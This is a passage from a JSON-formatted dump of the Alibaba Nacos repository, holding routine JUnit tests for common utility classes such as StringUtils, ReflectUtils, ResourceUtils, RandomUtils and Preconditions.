-1.2345f, 0);\n        assertEquals(1.2345f, NumberUtils.toFloat(\"+001.2345\"), 0);\n        assertEquals(1.2345f, NumberUtils.toFloat(\"001.2345\"), 0);\n        assertEquals(0f, NumberUtils.toFloat(\"000.00\"), 0);\n        \n        assertEquals(Float.MAX_VALUE, NumberUtils.toFloat(Float.MAX_VALUE + \"\"), 0);\n        assertEquals(Float.MIN_VALUE, NumberUtils.toFloat(Float.MIN_VALUE + \"\"), 0);\n        assertEquals(0.0f, NumberUtils.toFloat(\"\"), 0);\n        assertEquals(0.0f, NumberUtils.toFloat(null), 0);\n    }\n    \n    @Test\n    void testToFloatStringString() {\n        assertEquals(1.2345f, NumberUtils.toFloat(\"1.2345\", 5.1f), 0);\n        assertEquals(5.0f, NumberUtils.toFloat(\"a\", 5.0f), 0);\n        // LANG-1060\n        assertEquals(5.0f, NumberUtils.toFloat(\"-001Z.2345\", 5.0f), 0);\n        assertEquals(5.0f, NumberUtils.toFloat(\"+001AB.2345\", 5.0f), 0);\n        assertEquals(5.0f, NumberUtils.toFloat(\"001Z.2345\", 5.0f), 0);\n    }\n    \n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/ObservableTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.reset;\nimport static org.mockito.Mockito.verify;\n\n@ExtendWith(MockitoExtension.class)\nclass ObservableTest {\n    \n    @Mock\n    private Observer observer;\n    \n    private Observable observable;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        observable = new Observable();\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n    }\n    \n    @Test\n    void testAddObserver() {\n        observable.addObserver(observer);\n        assertEquals(1, observable.countObservers());\n        verify(observer).update(observable);\n    }\n    \n    @Test\n    void testDeleteObserver() {\n        observable.addObserver(observer);\n        assertEquals(1, observable.countObservers());\n        observable.deleteObserver(observer);\n        assertEquals(0, observable.countObservers());\n    }\n    \n    @Test\n    void testNotifyObservers() {\n        observable.addObserver(observer);\n        reset(observer);\n        observable.notifyObservers();\n        assertFalse(observable.hasChanged());\n        verify(observer, never()).update(observable);\n        observable.setChanged();\n        assertTrue(observable.hasChanged());\n        observable.notifyObservers();\n        verify(observer).update(observable);\n        assertFalse(observable.hasChanged());\n    }\n    \n    @Test\n    void testDeleteObservers() {\n        observable.addObserver(observer);\n        observable.deleteObservers();\n        assertEquals(1, observable.countObservers());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/PairTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass PairTest {\n    \n    @Test\n    void testPair() {\n        Pair<String, String> pair = Pair.with(\"a\", \"b\");\n        assertEquals(\"a\", pair.getFirst());\n        assertEquals(\"b\", pair.getSecond());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/PreconditionsTest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertThrows;\n\n/**\n * {@code Preconditions} unit test.\n *\n * @author zzq\n * @date 2021/7/29\n */\nfinal class PreconditionsTest {\n    \n    private static final String FORMAT = \"I ate %s pies.\";\n    \n    private static final String ARG = \"one\";\n    \n    private static final String ERRORMSG = \"A message\";\n    \n    @Test\n    void testCheckArgument2Args1true() {\n        Preconditions.checkArgument(true, ERRORMSG);\n    }\n    \n    @Test\n    void testCheckArgument2Args1false() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            Preconditions.checkArgument(false, ERRORMSG);\n        });\n    }\n    \n    @Test\n    void testCheckArgument2Args1true2null() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            Preconditions.checkArgument(true, null);\n        });\n    }\n    \n    @Test\n    void testCheckArgument2Args1false2null() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            Preconditions.checkArgument(false, null);\n        });\n    }\n    \n    @Test\n    void testCheckArgument3Args1true() {\n        Preconditions.checkArgument(true, ERRORMSG, ARG);\n    }\n    \n    @Test\n    void testCheckArgument3Args1false() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            Preconditions.checkArgument(false, ERRORMSG, ARG);\n        });\n    }\n    \n    @Test\n    void testCheckArgument3Args1true2null() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            Preconditions.checkArgument(true, null, ARG);\n        });\n    }\n    \n    @Test\n    void testCheckArgument3Args1false2null() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            Preconditions.checkArgument(false, null, ARG);\n        });\n    }\n    \n    @Test\n    void testCheckArgument3Args1false3null() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            Preconditions.checkArgument(false, ERRORMSG, null);\n        });\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/PropertyUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\n\n/**\n * PropertyUtils Test.\n *\n * @ClassName: PropertyUtilsTest\n * @Author: ChenHao26\n * @Date: 2022/8/22 13:28\n */\nclass PropertyUtilsTest {\n    \n    @Test\n    void getProperty() {\n        System.setProperty(\"nacos.test\", \"google\");\n        String property = PropertyUtils.getProperty(\"nacos.test\", \"xx\");\n        assertEquals(\"google\", property);\n    }\n    \n    @Test\n    void getPropertyWithDefaultValue() {\n        String property = PropertyUtils.getProperty(\"nacos.test\", \"xx\", \"test001\");\n        assertEquals(\"test001\", property);\n    }\n    \n    @Test\n    void getProcessorsCount() {\n        int processorsCount = PropertyUtils.getProcessorsCount();\n        assertNotNull(processorsCount);\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/RandomUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * test RandomUtils.\n *\n * @author zzq\n */\nclass RandomUtilsTest {\n    \n    @Test\n    void testNextLong() {\n        final long result = RandomUtils.nextLong(1L, 199L);\n        assertTrue(result >= 1L && result < 199L);\n    }\n    \n    @Test\n    void testNextLongWithSame() {\n        final long result = RandomUtils.nextLong(1L, 1L);\n        assertEquals(1L, result);\n    }\n    \n    @Test\n    void testNextLongWithIllegalArgumentException() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            RandomUtils.nextLong(999L, 199L);\n        });\n    }\n    \n    @Test\n    void testNextLongWithIllegalArgumentException2() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            RandomUtils.nextLong(-10L, 199L);\n        });\n    }\n    \n    @Test\n    void testNextInt() {\n        final int result = RandomUtils.nextInt(1, 199);\n        assertTrue(result >= 1 && result < 199);\n    }\n    \n    @Test\n    void testNextIntWithSame() {\n        final int result = RandomUtils.nextInt(1, 1);\n        assertEquals(1, result);\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/ReflectUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.io.IOException;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.UndeclaredThrowableException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * ReflectUtils unit test.\n *\n * @author karsonto\n * @date 2022/08/19\n */\nclass ReflectUtilsTest {\n    \n    List<String> listStr;\n    \n    @BeforeEach\n    void before() {\n        listStr = new ArrayList<>(2);\n    }\n    \n    /*\n     * Pay attention to JDK 17 changes. Need to add vm options below:\n     * --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED\n     * --add-opens java.base/java.nio=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED\n     */\n    @Test\n    void testGetFieldValue() {\n        Object elementData = ReflectUtils.getFieldValue(listStr, \"elementData\");\n        assertTrue(elementData instanceof Object[]);\n        assertEquals(2, ((Object[]) elementData).length);\n    }\n    \n    @Test\n    void testGetFieldValueWithoutField() {\n        assertThrows(RuntimeException.class, () -> {\n            ReflectUtils.getFieldValue(listStr, \"elementDataxx\");\n        });\n    }\n    \n    @Test\n    void testGetFieldValueWithDefault() {\n        Object elementData = ReflectUtils.getFieldValue(listStr, \"elementDataxx\", 3);\n        assertEquals(3, elementData);\n        elementData = ReflectUtils.getFieldValue(listStr, \"elementData\", 3);\n        assertTrue(elementData instanceof Object[]);\n        assertEquals(2, ((Object[]) elementData).length);\n    }\n    \n    @Test\n    void testGetField() throws NoSuchFieldException {\n        Field field = listStr.getClass().getDeclaredField(\"elementData\");\n        field.setAccessible(true);\n        Object elementData = ReflectUtils.getField(field, listStr);\n        assertTrue(elementData instanceof Object[]);\n    }\n    \n    @Test\n    void testGetFieldWithoutAccess() throws NoSuchFieldException {\n        assertThrows(IllegalStateException.class, () -> {\n            Field field = listStr.getClass().getDeclaredField(\"elementData\");\n            ReflectUtils.getField(field, listStr);\n        });\n    }\n    \n    @Test\n    void testInvokeMethod() throws Exception {\n        Method method = listStr.getClass().getDeclaredMethod(\"grow\", int.class);\n        method.setAccessible(true);\n        ReflectUtils.invokeMethod(method, listStr, 4);\n        Object elementData = ReflectUtils.getFieldValue(listStr, \"elementData\");\n        assertEquals(4, ((Object[]) elementData).length);\n    }\n    \n    @Test\n    void testInvokeMethodWithoutAccess() throws Exception {\n        assertThrows(IllegalStateException.class, () -> {\n            Method method = listStr.getClass().getDeclaredMethod(\"grow\", int.class);\n            ReflectUtils.invokeMethod(method, listStr, 4);\n        });\n    }\n    \n    @Test\n    void testHandleReflectionException() {\n        assertThrows(UndeclaredThrowableException.class, () -> {\n            try {\n                NoSuchMethodException exception = new NoSuchMethodException(\"test\");\n                ReflectUtils.handleReflectionException(exception);\n            } catch (Exception e) {\n                assertEquals(\"Method not found: test\", e.getMessage());\n            }\n            try {\n                IllegalAccessException exception = new IllegalAccessException(\"test\");\n                ReflectUtils.handleReflectionException(exception);\n            } catch (Exception e) {\n                assertEquals(\"Could not access method or field: test\", e.getMessage());\n            }\n            RuntimeException exception = new RuntimeException(\"test\");\n            try {\n                ReflectUtils.handleReflectionException(exception);\n            } catch (Exception e) {\n                assertEquals(exception, e);\n            }\n            try {\n                InvocationTargetException invocationTargetException = new InvocationTargetException(exception);\n                ReflectUtils.handleReflectionException(invocationTargetException);\n            } catch (Exception e) {\n                assertEquals(exception, e);\n            }\n            ReflectUtils.handleReflectionException(new IOException());\n        });\n    }\n    \n    @Test\n    void testRethrowRuntimeException() {\n        assertThrows(UndeclaredThrowableException.class, () -> {\n            ClassFormatError error = new ClassFormatError(\"test\");\n            try {\n                ReflectUtils.rethrowRuntimeException(error);\n            } catch (Error e) {\n                assertEquals(error, e);\n            }\n            ReflectUtils.rethrowRuntimeException(new IOException());\n        });\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/ResourceUtilsTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.Reader;\nimport java.net.URL;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ResourceUtilsTest {\n    \n    @Test\n    void testGetResourceUrlForClasspath() throws IOException {\n        URL url = ResourceUtils.getResourceUrl(\"classpath:test-tls-cert.pem\");\n        assertNotNull(url);\n    }\n    \n    @Test\n    void testGetResourceUrlForClasspathNotExists() throws IOException {\n        assertThrows(FileNotFoundException.class, () -> {\n            ResourceUtils.getResourceUrl(\"classpath:non-exist.pem\");\n        });\n    }\n    \n    @Test\n    void testGetResourceUrlForFile() throws IOException {\n        File file = File.createTempFile(\"test\", \".txt\");\n        try {\n            URL url = ResourceUtils.getResourceUrl(\"file://\" + file.getPath());\n            assertNotNull(url);\n        } finally {\n            file.deleteOnExit();\n        }\n    }\n    \n    @Test\n    void testGetResourceUrlForFileWithoutProtocol() throws IOException {\n        File file = File.createTempFile(\"test\", \".txt\");\n        try {\n            URL url = ResourceUtils.getResourceUrl(file.getPath());\n            assertNotNull(url);\n        } finally {\n            file.deleteOnExit();\n        }\n    }\n    \n    @Test\n    void testGetResourceUrlFromLoader() throws IOException {\n        URL url = ResourceUtils.getResourceUrl(this.getClass().getClassLoader(), \"test-tls-cert.pem\");\n        assertNotNull(url);\n    }\n    \n    @Test\n    void testGetResourceUrlFromSystemLoader() throws IOException {\n        URL url = ResourceUtils.getResourceUrl(null, \"test-tls-cert.pem\");\n        assertNotNull(url);\n    }\n    \n    @Test\n    void testGetResourceUrlFromLoaderWithoutExist() throws IOException {\n        assertThrows(IOException.class, () -> {\n            URL url = ResourceUtils.getResourceUrl(null, \"non-exist\");\n            assertNotNull(url);\n        });\n    }\n    \n    @Test\n    void testGetResourceAsStreamForClasspath() throws IOException {\n        try (InputStream inputStream = ResourceUtils.getResourceAsStream(\"test-tls-cert.pem\")) {\n            assertNotNull(inputStream);\n        }\n    }\n    \n    @Test\n    void testGetResourceAsStreamForClasspathFromSystem() throws IOException {\n        try (InputStream inputStream = ResourceUtils.getResourceAsStream(null, \"test-tls-cert.pem\")) {\n            assertNotNull(inputStream);\n        }\n    }\n    \n    @Test\n    void testGetResourceAsStreamForClasspathWithoutExist() throws IOException {\n        assertThrows(IOException.class, () -> {\n            URL url = ResourceUtils.getResourceUrl(\"non-exist\");\n            ResourceUtils.getResourceAsStream(null, url.toString());\n        });\n    }\n    \n    @Test\n    void testGetResourceAsPropertiesForClasspath() throws IOException {\n        Properties properties = ResourceUtils.getResourceAsProperties(\"resource_utils_test.properties\");\n        assertNotNull(properties);\n        assertTrue(properties.containsKey(\"a\"));\n    }\n    \n    @Test\n    void testGetResourceAsReader() throws IOException {\n        try (Reader reader = ResourceUtils.getResourceAsReader(\"resource_utils_test.properties\", \"UTF-8\")) {\n            assertNotNull(reader);\n        }\n    }\n    \n    @Test\n    void testGetResourceAsReaderWithLoader() throws IOException {\n        try (Reader reader = ResourceUtils.getResourceAsReader(ResourceUtilsTest.class.getClassLoader(),\n                \"resource_utils_test.properties\", \"UTF-8\")) {\n            assertNotNull(reader);\n        }\n    }\n    \n    @Test\n    void testGetResourceAsFile() throws IOException {\n        File file = ResourceUtils.getResourceAsFile(\"classpath:resource_utils_test.properties\");\n        assertNotNull(file);\n    }\n    \n    @Test\n    void testGetResourceAsFileByUrl() throws IOException {\n        File file = ResourceUtils.getResourceAsFile(ResourceUtils.getResourceUrl(\"classpath:resource_utils_test.properties\"));\n        assertNotNull(file);\n    }\n    \n    @Test\n    void testGetResourceAsFileByLoader() throws IOException {\n        File file = ResourceUtils.getResourceAsFile(ResourceUtils.class.getClassLoader(), \"resource_utils_test.properties\");\n        assertNotNull(file);\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/utils/StringUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\n\nimport static org.junit.jupiter.api.Assertions.assertArrayEquals;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n/**\n * String utils.\n *\n * @author zzq\n */\nclass StringUtilsTest {\n    \n    @Test\n    void testNewStringForUtf8() {\n        String abc = \"abc\";\n        byte[] abcByte = abc.getBytes();\n        assertEquals(abc, StringUtils.newStringForUtf8(abcByte));\n    }\n    \n    @Test\n    void isBlank() {\n        assertTrue(StringUtils.isBlank(null));\n        assertTrue(StringUtils.isBlank(\"\"));\n        assertTrue(StringUtils.isBlank(\" \"));\n        assertFalse(StringUtils.isBlank(\"bob\"));\n        assertFalse(StringUtils.isBlank(\"  bob  \"));\n    }\n    \n    @Test\n    void testIsNotBlank() {\n        assertFalse(StringUtils.isNotBlank(null));\n        assertFalse(StringUtils.isNotBlank(\"\"));\n        assertFalse(StringUtils.isNotBlank(\" \"));\n        assertTrue(StringUtils.isNotBlank(\"bob\"));\n        assertTrue(StringUtils.isNotBlank(\"  bob  \"));\n    }\n    \n    @Test\n    void testIsNotEmpty() {\n        assertFalse(StringUtils.isNotEmpty(null));\n        assertFalse(StringUtils.isNotEmpty(\"\"));\n        assertTrue(StringUtils.isNotEmpty(\" \"));\n        assertTrue(StringUtils.isNotEmpty(\"bob\"));\n        assertTrue(StringUtils.isNotEmpty(\"  bob  \"));\n    }\n    \n    @Test\n    void testIsEmpty() {\n        assertTrue(StringUtils.isEmpty(null));\n        assertTrue(StringUtils.isEmpty(\"\"));\n        assertFalse(StringUtils.isEmpty(\" \"));\n        assertFalse(StringUtils.isEmpty(\"bob\"));\n        assertFalse(StringUtils.isEmpty(\"  bob  \"));\n    }\n    \n    @Test\n    void testDefaultIfEmpty() {\n        assertEquals(\"NULL\", StringUtils.defaultIfEmpty(null, \"NULL\"));\n        assertEquals(\"NULL\", StringUtils.defaultIfEmpty(\"\", \"NULL\"));\n        assertEquals(\" \", StringUtils.defaultIfEmpty(\" \", \"NULL\"));\n        assertEquals(\"bat\", StringUtils.defaultIfEmpty(\"bat\", \"NULL\"));\n        assertNull(StringUtils.defaultIfEmpty(\"\", null));\n    }\n    \n    @Test\n    void testDefaultIfBlank() {\n        assertEquals(\"NULL\", StringUtils.defaultIfBlank(null, \"NULL\"));\n        assertEquals(\"NULL\", StringUtils.defaultIfBlank(\"\", \"NULL\"));\n        assertEquals(\"NULL\", StringUtils.defaultIfBlank(\" \", \"NULL\"));\n        assertEquals(\"bat\", StringUtils.defaultIfBlank(\"bat\", \"NULL\"));\n        assertNull(StringUtils.defaultIfBlank(\"\", null));\n    }\n    \n    @Test\n    void testDefaultEmptyIfBlank() {\n        assertEquals(\"\", StringUtils.defaultEmptyIfBlank(null));\n        assertEquals(\"\", StringUtils.defaultEmptyIfBlank(\"\"));\n        assertEquals(\"\", StringUtils.defaultEmptyIfBlank(\" \"));\n        assertEquals(\"bat\", StringUtils.defaultEmptyIfBlank(\"bat\"));\n    }\n    \n    @Test\n    void testEquals() {\n        assertTrue(StringUtils.equals(null, null));\n        assertFalse(StringUtils.equals(null, \"abc\"));\n        assertFalse(StringUtils.equals(\"abc\", null));\n        assertTrue(StringUtils.equals(\"abc\", \"abc\"));\n        assertFalse(StringUtils.equals(\"abc\", \"ABC\"));\n    }\n    \n    @Test\n    void trim() {\n        assertNull(StringUtils.trim(null));\n        assertEquals(StringUtils.EMPTY, StringUtils.trim(\"\"));\n        assertEquals(StringUtils.EMPTY, StringUtils.trim(\"     \"));\n        assertEquals(\"abc\", StringUtils.trim(\"abc\"));\n        assertEquals(\"abc\", StringUtils.trim(\"    abc    \"));\n    }\n    \n    @Test\n    void testSubstringBetween() {\n        assertNull(StringUtils.substringBetween(null, \"a\", \"b\"));\n        assertNull(StringUtils.substringBetween(\"a\", null, \"b\"));\n        assertNull(StringUtils.substringBetween(\"a\", \"b\", null));\n        assertNull(StringUtils.substringBetween(StringUtils.EMPTY, StringUtils.EMPTY, \"]\"));\n        assertNull(StringUtils.substringBetween(StringUtils.EMPTY, \"[\", \"]\"));\n        assertEquals(StringUtils.EMPTY, StringUtils.substringBetween(\"yabcz\", StringUtils.EMPTY, StringUtils.EMPTY));\n        assertEquals(StringUtils.EMPTY, StringUtils.substringBetween(StringUtils.EMPTY, StringUtils.EMPTY, StringUtils.EMPTY));\n        assertEquals(\"b\", StringUtils.substringBetween(\"wx[b]yz\", \"[\", \"]\"));\n        assertEquals(\"abc\", StringUtils.substringBetween(\"yabcz\", \"y\", \"z\"));\n        assertEquals(\"abc\", StringUtils.substringBetween(\"yabczyabcz\", \"y\", \"z\"));\n    }\n    \n    @Test\n    void testJoin() {\n        ArrayList<Object> objects = new ArrayList<>();\n        objects.add(null);\n        assertNull(StringUtils.join(null, \"a\"));\n        assertEquals(StringUtils.EMPTY, StringUtils.join(Arrays.asList(), \"a\"));\n        assertEquals(StringUtils.EMPTY, StringUtils.join(objects, \"a\"));\n        assertEquals(\"a;b;c\", StringUtils.join(Arrays.asList(\"a\", \"b\", \"c\"), \";\"));\n        assertEquals(\"abc\", StringUtils.join(Arrays.asList(\"a\", \"b\", \"c\"), null));\n    }\n    \n    @Test\n    void testContainsIgnoreCase() {\n        assertFalse(StringUtils.containsIgnoreCase(null, \"1\"));\n        assertFalse(StringUtils.containsIgnoreCase(\"abc\", null));\n        assertTrue(StringUtils.containsIgnoreCase(StringUtils.EMPTY, StringUtils.EMPTY));\n        assertTrue(StringUtils.containsIgnoreCase(\"abc\", StringUtils.EMPTY));\n        assertTrue(StringUtils.containsIgnoreCase(\"abc\", \"a\"));\n        assertFalse(StringUtils.containsIgnoreCase(\"abc\", \"z\"));\n        assertTrue(StringUtils.containsIgnoreCase(\"abc\", \"A\"));\n        assertFalse(StringUtils.containsIgnoreCase(\"abc\", \"Z\"));\n    }\n    \n    @Test\n    void testContains() {\n        assertFalse(StringUtils.contains(null, \"1\"));\n        assertFalse(StringUtils.contains(\"abc\", null));\n        assertTrue(StringUtils.contains(StringUtils.EMPTY, StringUtils.EMPTY));\n        assertTrue(StringUtils.contains(\"abc\", StringUtils.EMPTY));\n        assertTrue(StringUtils.contains(\"abc\", \"a\"));\n        assertFalse(StringUtils.contains(\"abc\", \"z\"));\n        assertFalse(StringUtils.contains(\"abc\", \"A\"));\n        assertFalse(StringUtils.contains(\"abc\", \"Z\"));\n    }\n    \n    @Test\n    void testIsNoneBlank() {\n        assertFalse(StringUtils.isNoneBlank(null));\n        assertFalse(StringUtils.isNoneBlank(null, \"foo\"));\n        assertFalse(StringUtils.isNoneBlank(null, null));\n        assertFalse(StringUtils.isNoneBlank(\"\", \"bar\"));\n        assertFalse(StringUtils.isNoneBlank(\"bob\", \"\"));\n        assertFalse(StringUtils.isNoneBlank(\"  bob  \", null));\n        assertFalse(StringUtils.isNoneBlank(\" \", \"bar\"));\n        assertTrue(StringUtils.isNoneBlank(\"foo\", \"bar\"));\n    }\n    \n    @Test\n    void isAnyBlank() {\n        assertTrue(StringUtils.isAnyBlank(null));\n        assertTrue(StringUtils.isAnyBlank(null, \"foo\"));\n        assertTrue(StringUtils.isAnyBlank(null, null));\n        assertTrue(StringUtils.isAnyBlank(\"\", \"bar\"));\n        assertTrue(StringUtils.isAnyBlank(\"bob\", \"\"));\n        assertTrue(StringUtils.isAnyBlank(\"  bob  \", null));\n        assertTrue(StringUtils.isAnyBlank(\" \", \"bar\"));\n        assertFalse(StringUtils.isAnyBlank(\"foo\", \"bar\"));\n    }\n    \n    @Test\n    void testStartsWith() {\n        assertTrue(StringUtils.startsWith(null, null));\n        assertFalse(StringUtils.startsWith(null, \"abc\"));\n        assertFalse(StringUtils.startsWith(\"abcdef\", null));\n        assertTrue(StringUtils.startsWith(\"abcdef\", \"abc\"));\n        assertFalse(StringUtils.startsWith(\"ABCDEF\", \"abc\"));\n        assertFalse(StringUtils.startsWith(\"ABC\", \"ABCDEF\"));\n    }\n    \n    @Test\n    void testStartsWithIgnoreCase() {\n        assertTrue(StringUtils.startsWithIgnoreCase(null, null));\n        assertFalse(StringUtils.startsWithIgnoreCase(null, \"abc\"));\n        assertFalse(StringUtils.startsWithIgnoreCase(\"abcdef\", null));\n        assertTrue(StringUtils.startsWithIgnoreCase(\"abcdef\", \"abc\"));\n        assertTrue(StringUtils.startsWithIgnoreCase(\"ABCDEF\", \"abc\"));\n    }\n    \n    @Test\n    void testDeleteWhitespace() {\n        assertNull(StringUtils.deleteWhitespace(null));\n        assertEquals(StringUtils.EMPTY, StringUtils.deleteWhitespace(\"\"));\n        assertEquals(\"abc\", StringUtils.deleteWhitespace(\"abc\"));\n        assertEquals(\"abc\", StringUtils.deleteWhitespace(\"   ab  c  \"));\n    }\n    \n    @Test\n    void testEqualsIgnoreCase() {\n        assertTrue(StringUtils.equalsIgnoreCase(null, null));\n        assertFalse(StringUtils.equalsIgnoreCase(null, \"abc\"));\n        assertFalse(StringUtils.equalsIgnoreCase(\"abc\", null));\n        assertTrue(StringUtils.equalsIgnoreCase(\"abc\", \"abc\"));\n        assertTrue(StringUtils.equalsIgnoreCase(\"abc\", \"ABC\"));\n    }\n    \n    @Test\n    void testSplit() {\n        assertNull(StringUtils.split(null, \",\"));\n        assertArrayEquals(new String[0], StringUtils.split(\"\", \",\"));\n        assertArrayEquals(new String[] {\"ab\", \"cd\", \"ef\"}, StringUtils.split(\"ab cd ef\", null));\n        assertArrayEquals(new String[] {\"ab\", 